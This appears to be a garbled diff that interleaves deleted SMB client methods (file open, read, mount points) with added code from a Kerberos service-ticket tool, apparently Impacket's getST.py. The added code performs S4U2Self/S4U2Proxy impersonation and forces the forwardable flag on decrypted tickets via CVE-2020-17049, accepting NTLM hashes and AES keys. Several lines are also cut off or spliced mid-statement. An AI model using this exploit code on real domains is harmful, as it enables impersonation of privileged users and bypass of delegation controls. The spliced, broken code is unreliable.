impersonationLevel - ntCreate['Parameters']['SecurityFlags'] = securityFlags - ntCreate['Parameters']['CreateFlags'] = 0x16 - ntCreate['Data']['FileName'] = packetPathName - - if flags2 & smb.SMB.FLAGS2_UNICODE: - ntCreate['Data']['Pad'] = 0x0 - - if createContexts is not None: - LOG.error("CreateContexts not supported in SMB1") - - try: - return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) + logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) + new_hostname = hostname + new_service_class = self.__alt_service + new_sname = "%s/%s@%s" % (new_service_class, new_hostname, new_service_realm) + logging.info('Changing sname from %s to %s' % (sname.decode("utf-8"), new_sname)) + creds['server'].fromPrincipal(Principal(new_sname, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) + logging.info('Saving ticket in %s.ccache' % new_sname.replace("/", "_")) + ccache.saveFile(new_sname.replace("/", "_") + '.ccache') + def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): + if not os.path.isfile(additional_ticket_path): + logging.error("Ticket %s doesn't exist" % additional_ticket_path) + exit(0) else: - try: - return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption, - creationDisposition, fileAttributes, impersonationLevel, - securityFlags, oplockLevel, createContexts) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def openFile(self, treeId, pathName, desiredAccess=FILE_READ_DATA | FILE_WRITE_DATA, shareMode=FILE_SHARE_READ, - creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OPEN, - fileAttributes=FILE_ATTRIBUTE_NORMAL, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, - oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): - """ - opens a remote file - - :param HANDLE treeId: a valid handle for the share where the file is to be opened - :param string pathName: the path name to open - :param int desiredAccess: The level of access that is required, as specified in https://msdn.microsoft.com/en-us/library/cc246503.aspx - :param int shareMode: Specifies the sharing mode for the open. - :param int creationOption: Specifies the options to be applied when creating or opening the file. - :param int creationDisposition: Defines the action the server MUST take if the file that is specified in the name - field already exists. - :param int fileAttributes: This field MUST be a combination of the values specified in [MS-FSCC] section 2.6, and MUST NOT include any values other than those specified in that section. - :param int impersonationLevel: This field specifies the impersonation level requested by the application that is issuing the create request. - :param int securityFlags: This field MUST NOT be used and MUST be reserved. The client MUST set this to 0, and the server MUST ignore it. - :param int oplockLevel: The requested oplock level - :param createContexts: A variable-length attribute that is sent with an SMB2 CREATE Request or SMB2 CREATE Response that either gives extra information about how the create will be processed, or returns extra information about how the create was processed. - - :return: a valid file descriptor - :raise SessionError: if error - """ - - if self.getDialect() == smb.SMB_DIALECT: - _, flags2 = self._SMBConnection.get_flags() - - pathName = pathName.replace('/', '\\') - packetPathName = pathName.encode('utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName - - ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) - ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters() - ntCreate['Data'] = smb.SMBNtCreateAndX_Data(flags=flags2) - ntCreate['Parameters']['FileNameLength']= len(packetPathName) - ntCreate['Parameters']['AccessMask'] = desiredAccess - ntCreate['Parameters']['FileAttributes']= fileAttributes - ntCreate['Parameters']['ShareAccess'] = shareMode - ntCreate['Parameters']['Disposition'] = creationDisposition - ntCreate['Parameters']['CreateOptions'] = creationOption - ntCreate['Parameters']['Impersonation'] = impersonationLevel - ntCreate['Parameters']['SecurityFlags'] = securityFlags - ntCreate['Parameters']['CreateFlags'] = 0x16 - ntCreate['Data']['FileName'] = packetPathName - - if flags2 & smb.SMB.FLAGS2_UNICODE: - ntCreate['Data']['Pad'] = 0x0 - - if createContexts is not None: - LOG.error("CreateContexts not supported in SMB1") - - try: - return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - else: - try: - return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption, - creationDisposition, fileAttributes, impersonationLevel, - securityFlags, oplockLevel, createContexts) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def writeFile(self, treeId, fileId, data, offset=0): - """ - writes data to a file - - :param HANDLE treeId: a valid handle for the share where the file is to be written - :param HANDLE fileId: a valid handle for the file - :param string data: buffer with the data to write - :param integer offset: offset where to start writing the data - - :return: amount of bytes written - :raise SessionError: if error - """ - try: - return self._SMBConnection.writeFile(treeId, fileId, data, offset) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def readFile(self, treeId, fileId, offset = 0, bytesToRead = None, singleCall = True): - """ - reads data from a file - - :param HANDLE treeId: a valid handle for the share where the file is to be read - :param HANDLE fileId: a valid handle for the file to be read - :param integer offset: offset where to start reading the data - :param integer bytesToRead: amount of bytes to attempt reading. If None, it will attempt to read Dialect['MaxBufferSize'] bytes. - :param boolean singleCall: If True it won't attempt to read all bytesToRead. It will only make a single read call - - :return: the data read. Length of data read is not always bytesToRead - :raise SessionError: if error - """ - finished = False - data = b'' - maxReadSize = self._SMBConnection.getIOCapabilities()['MaxReadSize'] - if bytesToRead is None: - bytesToRead = maxReadSize - remainingBytesToRead = bytesToRead - while not finished: - if remainingBytesToRead > maxReadSize: - toRead = maxReadSize - else: - toRead = remainingBytesToRead - try: - bytesRead = self._SMBConnection.read_andx(treeId, fileId, offset, toRead) - except (smb.SessionError, smb3.SessionError) as e: - if e.get_error_code() == nt_errors.STATUS_END_OF_FILE: - toRead = b'' - break + decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] + logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path) + ccache = CCache.loadFile(additional_ticket_path) + principal = ccache.credentials[0].header['server'].prettyPrint() + creds = ccache.getCredential(principal.decode()) + TGS = creds.toTGS(principal) + + tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] + + if logging.getLogger().level == logging.DEBUG: + logging.debug('TGS_REP') + print(tgs.prettyPrint()) + + if self.__force_forwardable: + # Convert hashes to binary form, just in case we're receiving strings + if isinstance(nthash, str): + try: + nthash = unhexlify(nthash) + except TypeError: + pass + if isinstance(aesKey, str): + try: + aesKey = unhexlify(aesKey) + except TypeError: + pass + + # Compute NTHash and AESKey if they're not provided in arguments + if self.__password != '' and self.__domain != '' and self.__user != '': + if not nthash: + nthash = compute_nthash(self.__password) + if logging.getLogger().level == logging.DEBUG: + logging.debug('NTHash') + print(hexlify(nthash).decode()) + if not aesKey: + salt = self.__domain.upper() + self.__user + aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents + if logging.getLogger().level == logging.DEBUG: + logging.debug('AESKey') + print(hexlify(aesKey).decode()) + + # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys + cipherText = tgs['ticket']['enc-part']['cipher'] + + # Check which cipher was used to encrypt the ticket. It's not always the same + # This determines which of our keys we should use for decryption/re-encryption + newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] + if newCipher.enctype == Enctype.RC4: + key = Key(newCipher.enctype, nthash) else: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - data += bytesRead - if len(data) >= bytesToRead: - finished = True - elif len(bytesRead) == 0: - # End of the file achieved. - finished = True - elif singleCall is True: - finished = True - else: - offset += len(bytesRead) - remainingBytesToRead -= len(bytesRead) - - return data + key = Key(newCipher.enctype, aesKey) + + # Decrypt and decode the ticket + # Key Usage 2 + # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or + # application session key), encrypted with the service key + # (section 5.4.2) + plainText = newCipher.decrypt(key, 2, cipherText) + encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] + + # Print the flags in the ticket before modification + logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags'])) + logging.debug('\tService ticket from S4U2self is' + + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + + ' forwardable') + + # Customize flags the forwardable flag is the only one that really matters + logging.info('\tForcing the service ticket to be forwardable') + # convert to string of bits + flagBits = encTicketPart['flags'].asBinary() + # Set the forwardable flag. Awkward binary string insertion + flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:] + # Overwrite the value with the new bits + encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags + + logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags'])) + logging.debug('\tService ticket now is' + + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + + ' forwardable') + + # Re-encode and re-encrypt the ticket + # Again, Key Usage 2 + encodedEncTicketPart = encoder.encode(encTicketPart) + cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None) + + # put it back in the TGS + tgs['ticket']['enc-part']['cipher'] = cipherText + + ################################################################################ + # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy + # So here I have a ST for me.. I now want a ST for another service + # Extract the ticket from the TGT + ticketTGT = Ticket() + ticketTGT.from_asn1(decodedTGT['ticket']) + + # Get the service ticket + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticketTGT.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) + + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') + + seq_set(authenticator, 'cname', clientName.components_to_asn1) + + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq + + # Add resource-based constrained delegation support + paPacOptions = PA_PAC_OPTIONS() + paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) + + tgsReq['padata'][1] = noValue + tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value + tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) - def closeFile(self, treeId, fileId): - """ - closes a file handle + reqBody = seq_set(tgsReq, 'req-body') + + opts = list() + # This specified we're doing S4U + opts.append(constants.KDCOptions.cname_in_addl_tkt.value) + opts.append(constants.KDCOptions.canonicalize.value) + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) - :param HANDLE treeId: a valid handle for the share where the file is to be opened - :param HANDLE fileId: a valid handle for the file/directory to be closed + reqBody['kdc-options'] = constants.encodeFlags(opts) + service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + seq_set(reqBody, 'sname', service2.components_to_asn1) + reqBody['realm'] = self.__domain - :return: None - :raise SessionError: if error - """ - try: - return self._SMBConnection.close(treeId, fileId) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) + myTicket = ticket.to_asn1(TicketAsn1()) + seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) - def deleteFile(self, shareName, pathName): - """ - removes a file + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) - :param string shareName: a valid name for the share where the file is to be deleted - :param string pathName: the path name to remove + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + seq_set_iter(reqBody, 'etype', + ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), + int(cipher.enctype) + ) + ) + message = encoder.encode(tgsReq) - :return: None - :raise SessionError: if error - """ - try: - return self._SMBConnection.remove(shareName, pathName) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) + logging.info('\tRequesting S4U2Proxy') + r = sendReceive(message, self.__domain, kdcHost) - def queryInfo(self, treeId, fileId): - """ - queries basic information about an opened file/directory + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - :param HANDLE treeId: a valid handle for the share where the file is to be queried - :param HANDLE fileId: a valid handle for the file/directory to be queried + cipherText = tgs['enc-part']['cipher'] - :return: a smb.SMBQueryFileStandardInfo structure. - :raise SessionError: if error - """ - try: - if self.getDialect() == smb.SMB_DIALECT: - res = self._SMBConnection.query_file_info(treeId, fileId) - else: - res = self._SMBConnection.queryInfo(treeId, fileId) - return smb.SMBQueryFileStandardInfo(res) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) - def createDirectory(self, shareName, pathName ): - """ - creates a directory + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - :param string shareName: a valid name for the share where the directory is to be created - :param string pathName: the path name or the directory to create + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - :return: None - :raise SessionError: if error - """ - try: - return self._SMBConnection.mkdir(shareName, pathName) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] - def deleteDirectory(self, shareName, pathName): - """ - deletes a directory + return r, cipher, sessionKey, newSessionKey - :param string shareName: a valid name for the share where directory is to be deleted - :param string pathName: the path name or the directory to delete + def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): + decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] + # Extract the ticket from the TGT + ticket = Ticket() + ticket.from_asn1(decodedTGT['ticket']) - :return: None - :raise SessionError: if error - """ - try: - return self._SMBConnection.rmdir(shareName, pathName) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - def waitNamedPipe(self, treeId, pipeName, timeout = 5): - """ - waits for a named pipe + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) - :param HANDLE treeId: a valid handle for the share where the pipe is - :param string pipeName: the pipe name to check - :param integer timeout: time to wait for an answer + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) - :return: None - :raise SessionError: if error - """ - try: - return self._SMBConnection.waitNamedPipe(treeId, pipeName, timeout = timeout) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def transactNamedPipe(self, treeId, fileId, data, waitAnswer = True): - """ - writes to a named pipe using a transaction command - - :param HANDLE treeId: a valid handle for the share where the pipe is - :param HANDLE fileId: a valid handle for the pipe - :param string data: buffer with the data to write - :param boolean waitAnswer: whether or not to wait for an answer - - :return: None - :raise SessionError: if error - """ - try: - return self._SMBConnection.TransactNamedPipe(treeId, fileId, data, waitAnswer = waitAnswer) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') - def transactNamedPipeRecv(self): - """ - reads from a named pipe using a transaction command + seq_set(authenticator, 'cname', clientName.components_to_asn1) - :return: data read - :raise SessionError: if error - """ - try: - return self._SMBConnection.TransactNamedPipeRecv() - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def writeNamedPipe(self, treeId, fileId, data, waitAnswer = True): - """ - writes to a named pipe - - :param HANDLE treeId: a valid handle for the share where the pipe is - :param HANDLE fileId: a valid handle for the pipe - :param string data: buffer with the data to write - :param boolean waitAnswer: whether or not to wait for an answer - - :return: None - :raise SessionError: if error - """ - try: - if self.getDialect() == smb.SMB_DIALECT: - return self._SMBConnection.write_andx(treeId, fileId, data, wait_answer = waitAnswer, write_pipe_mode = True) - else: - return self.writeFile(treeId, fileId, data, 0) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) - def readNamedPipe(self,treeId, fileId, bytesToRead = None ): - """ - read from a named pipe + if logging.getLogger().level == logging.DEBUG: + logging.debug('AUTHENTICATOR') + print(authenticator.prettyPrint()) + print('\n') - :param HANDLE treeId: a valid handle for the share where the pipe resides - :param HANDLE fileId: a valid handle for the pipe - :param integer bytesToRead: amount of data to read + encodedAuthenticator = encoder.encode(authenticator) - :return: None - :raise SessionError: if error - """ + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) - try: - return self.readFile(treeId, fileId, bytesToRead = bytesToRead, singleCall = True) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + encodedApReq = encoder.encode(apReq) - def getFile(self, shareName, pathName, callback, shareAccessMode = None): - """ - downloads a file + tgsReq = TGS_REQ() - :param string shareName: name for the share where the file is to be retrieved - :param string pathName: the path name to retrieve - :param callback callback: function called to write the contents read. - :param int shareAccessMode: - - :return: None - :raise SessionError: if error - """ - try: - if shareAccessMode is None: - # if share access mode is none, let's the underlying API deals with it - return self._SMBConnection.retr_file(shareName, pathName, callback) - else: - return self._SMBConnection.retr_file(shareName, pathName, callback, shareAccessMode=shareAccessMode) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def putFile(self, shareName, pathName, callback, shareAccessMode = None): - """ - uploads a file - - :param string shareName: name for the share where the file is to be uploaded - :param string pathName: the path name to upload - :param callback callback: function called to read the contents to be written. - :param int shareAccessMode: - - :return: None - :raise SessionError: if error - """ - try: - if shareAccessMode is None: - # if share access mode is none, let's the underlying API deals with it - return self._SMBConnection.stor_file(shareName, pathName, callback) + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq + + # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service + # requests a service ticket to itself on behalf of a user. The user is + # identified to the KDC by the user's name and realm. + clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + S4UByteArray = struct.pack('= 52: - # now send an appropriate sized buffer - try: - snapshotData = SRV_SNAPSHOT_ARRAY(self._SMBConnection.ioctl(tid, fid, FSCTL_SRV_ENUMERATE_SNAPSHOTS, - flags=SMB2_0_IOCTL_IS_FSCTL, maxOutputResponse=snapshotData['SnapShotArraySize']+12)) - except (smb.SessionError, smb3.SessionError) as e: - self.closeFile(tid, fid) - raise SessionError(e.get_error_code(), e.get_error_packet()) + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + seq_set_iter(reqBody, 'etype', + ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), + int(cipher.enctype) + ) + ) + message = encoder.encode(tgsReq) - self.closeFile(tid, fid) - return list(filter(None, snapshotData['SnapShots'].decode('utf16').split('\x00'))) - - def createMountPoint(self, tid, path, target): - """ - creates a mount point at an existing directory - - :param int tid: tree id of current connection - :param string path: directory at which to create mount point (must already exist) - :param string target: target address of mount point - - :raise SessionError: if error - """ - - # Verify we're under SMB2+ session - if self.getDialect() not in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]: - raise SessionError(error = nt_errors.STATUS_NOT_SUPPORTED) - - fid = self.openFile(tid, path, GENERIC_READ | GENERIC_WRITE, - creationOption=FILE_OPEN_REPARSE_POINT) - - if target.startswith("\\"): - fixed_name = target.encode('utf-16le') - else: - fixed_name = ("\\??\\" + target).encode('utf-16le') + logging.info('\tRequesting S4U2Proxy') + r = sendReceive(message, self.__domain, kdcHost) - name = target.encode('utf-16le') + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - reparseData = MOUNT_POINT_REPARSE_DATA_STRUCTURE() + cipherText = tgs['enc-part']['cipher'] - reparseData['PathBuffer'] = fixed_name + b"\x00\x00" + name + b"\x00\x00" - reparseData['SubstituteNameLength'] = len(fixed_name) - reparseData['PrintNameOffset'] = len(fixed_name) + 2 - reparseData['PrintNameLength'] = len(name) + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) - self._SMBConnection.ioctl(tid, fid, FSCTL_SET_REPARSE_POINT, flags=SMB2_0_IOCTL_IS_FSCTL, - inputBlob=reparseData) + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - self.closeFile(tid, fid) + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - def removeMountPoint(self, tid, path): - """ - removes a mount point without deleting the underlying directory + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] - :param int tid: tree id of current connection - :param string path: path to mount point to remove + return r, cipher, sessionKey, newSessionKey - :raise SessionError: if error - """ + def run(self): - # Verify we're under SMB2+ session - if self.getDialect() not in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]: - raise SessionError(error = nt_errors.STATUS_NOT_SUPPORTED) - - fid = self.openFile(tid, path, GENERIC_READ | GENERIC_WRITE, - creationOption=FILE_OPEN_REPARSE_POINT) - - reparseData = MOUNT_POINT_REPARSE_GUID_DATA_STRUCTURE() - - reparseData['DataBuffer'] = b"" - - try: - self._SMBConnection.ioctl(tid, fid, FSCTL_DELETE_REPARSE_POINT, flags=SMB2_0_IOCTL_IS_FSCTL, - inputBlob=reparseData) - except (smb.SessionError, smb3.SessionError) as e: - self.closeFile(tid, fid) - raise SessionError(e.get_error_code(), e.get_error_packet()) - - self.closeFile(tid, fid) - - def rename(self, shareName, oldPath, newPath): - """ - renames a file/directory - - :param string shareName: name for the share where the files/directories are - :param string oldPath: the old path name or the directory/file to rename - :param string newPath: the new path name or the directory/file to rename - - :return: True - :raise SessionError: if error - """ - - try: - return self._SMBConnection.rename(shareName, oldPath, newPath) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def reconnect(self): - """ - reconnects the SMB object based on the original options and credentials used. Only exception is that - manualNegotiate will not be honored. - Not only the connection will be created but also a login attempt using the original credentials and - method (Kerberos, PtH, etc) - - :return: True - :raise SessionError: if error - """ - userName, password, domain, lmhash, nthash, aesKey, TGT, TGS = self.getCredentials() - self.negotiateSession(self._preferredDialect) - if self._doKerberos is True: - self.kerberosLogin(userName, password, domain, lmhash, nthash, aesKey, self._kdcHost, TGT, TGS, self._useCache) - else: - self.login(userName, password, domain, lmhash, nthash, self._ntlmFallback) - - return True - - def setTimeout(self, timeout): - try: - return self._SMBConnection.set_timeout(timeout) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def getSessionKey(self): - if self.getDialect() == smb.SMB_DIALECT: - return self._SMBConnection.get_session_key() - else: - return self._SMBConnection.getSessionKey() - - def setSessionKey(self, key): - if self.getDialect() == smb.SMB_DIALECT: - return self._SMBConnection.set_session_key(key) - else: - return self._SMBConnection.setSessionKey(key) - - def setHostnameValidation(self, validate, accept_empty, hostname): - return self._SMBConnection.set_hostname_validation(validate, accept_empty, hostname) - - def close(self): - """ - logs off and closes the underlying _NetBIOSSession() - - :return: None - """ + # Do we have a TGT cached? + tgt = None try: - self.logoff() + ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) + #ccache = CCache.loadFile(r'C:\Users\x\WIn-PADVTVG8OT8.ccache') + logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) + principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper()) + creds = ccache.getCredential(principal) + if creds is not None: + # ToDo: Check this TGT belogns to the right principal + TGT = creds.toTGT() + tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'] + oldSessionKey = sessionKey + logging.info('Using TGT from cache') + else: + logging.debug("No valid credentials found in cache. ") except: + # No cache present pass - self._SMBConnection.close_session() - -class SessionError(Exception): - """ - This is the exception every client should catch regardless of the underlying - SMB version used. We'll take care of that. NETBIOS exceptions are NOT included, - since all SMB versions share the same NETBIOS instances. - """ - def __init__( self, error = 0, packet=0): - Exception.__init__(self) - self.error = error - self.packet = packet - - def getErrorCode( self ): - return self.error - - def getErrorPacket( self ): - return self.packet - - def getErrorString( self ): - return nt_errors.ERROR_MESSAGES[self.error] - - def __str__( self ): - if self.error in nt_errors.ERROR_MESSAGES: - return 'SMB SessionError: %s(%s)' % (nt_errors.ERROR_MESSAGES[self.error]) + if tgt is None: + # Still no TGT + userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + logging.info('Getting TGT for user') + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + unhexlify(self.__lmhash), unhexlify(self.__nthash), + self.__aesKey, + self.__kdcHost) + + # Ok, we have valid TGT, let's try to get a service ticket + if self.__options.impersonate is None: + # Normal TGS interaction + logging.info('Getting ST for user') + serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey) + self.__saveFileName = self.__user else: - return 'SMB SessionError: 0x%x' % self.error + # Here's the rock'n'roll + try: + logging.info('Impersonating %s' % self.__options.impersonate) + # Editing below to pass hashes for decryption + if self.__additional_ticket is not None: + tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, + self.__kdcHost, self.__additional_ticket) + else: + tgs, cipher, oldSessionKey, sessioKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) + except Exception as e: + logging.debug("Exception", exc_info=True) + logging.error(str(e)) + if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0: + logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) + if str(e).find('KDC_ERR_BADOPTION') >= 0: + logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) + + return + self.__saveFileName = self.__options.impersonate + + self.saveTicket(tgs, oldSessionKey) + + +if __name__ == '__main__': + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " + "Service Ticket and save it as ccache") + parser.add_argument('identity', action='store', help='[domain/]username[:password]') + parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' + 'service ticket will' ' be generated for') + parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' + ' for quering the ST. Keep in mind this will only work if ' + 'the identity provided in this scripts is allowed for ' + 'delegation to the SPN specified') + parser.add_argument('-altservice', action="store", help='SPN (service/server) you want to change the TGS ticket to') + parser.add_argument('-self', dest='no_s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy') + parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' + 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' + 'specified -identity should be provided. This allows impresonation of protected users ' + 'and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is 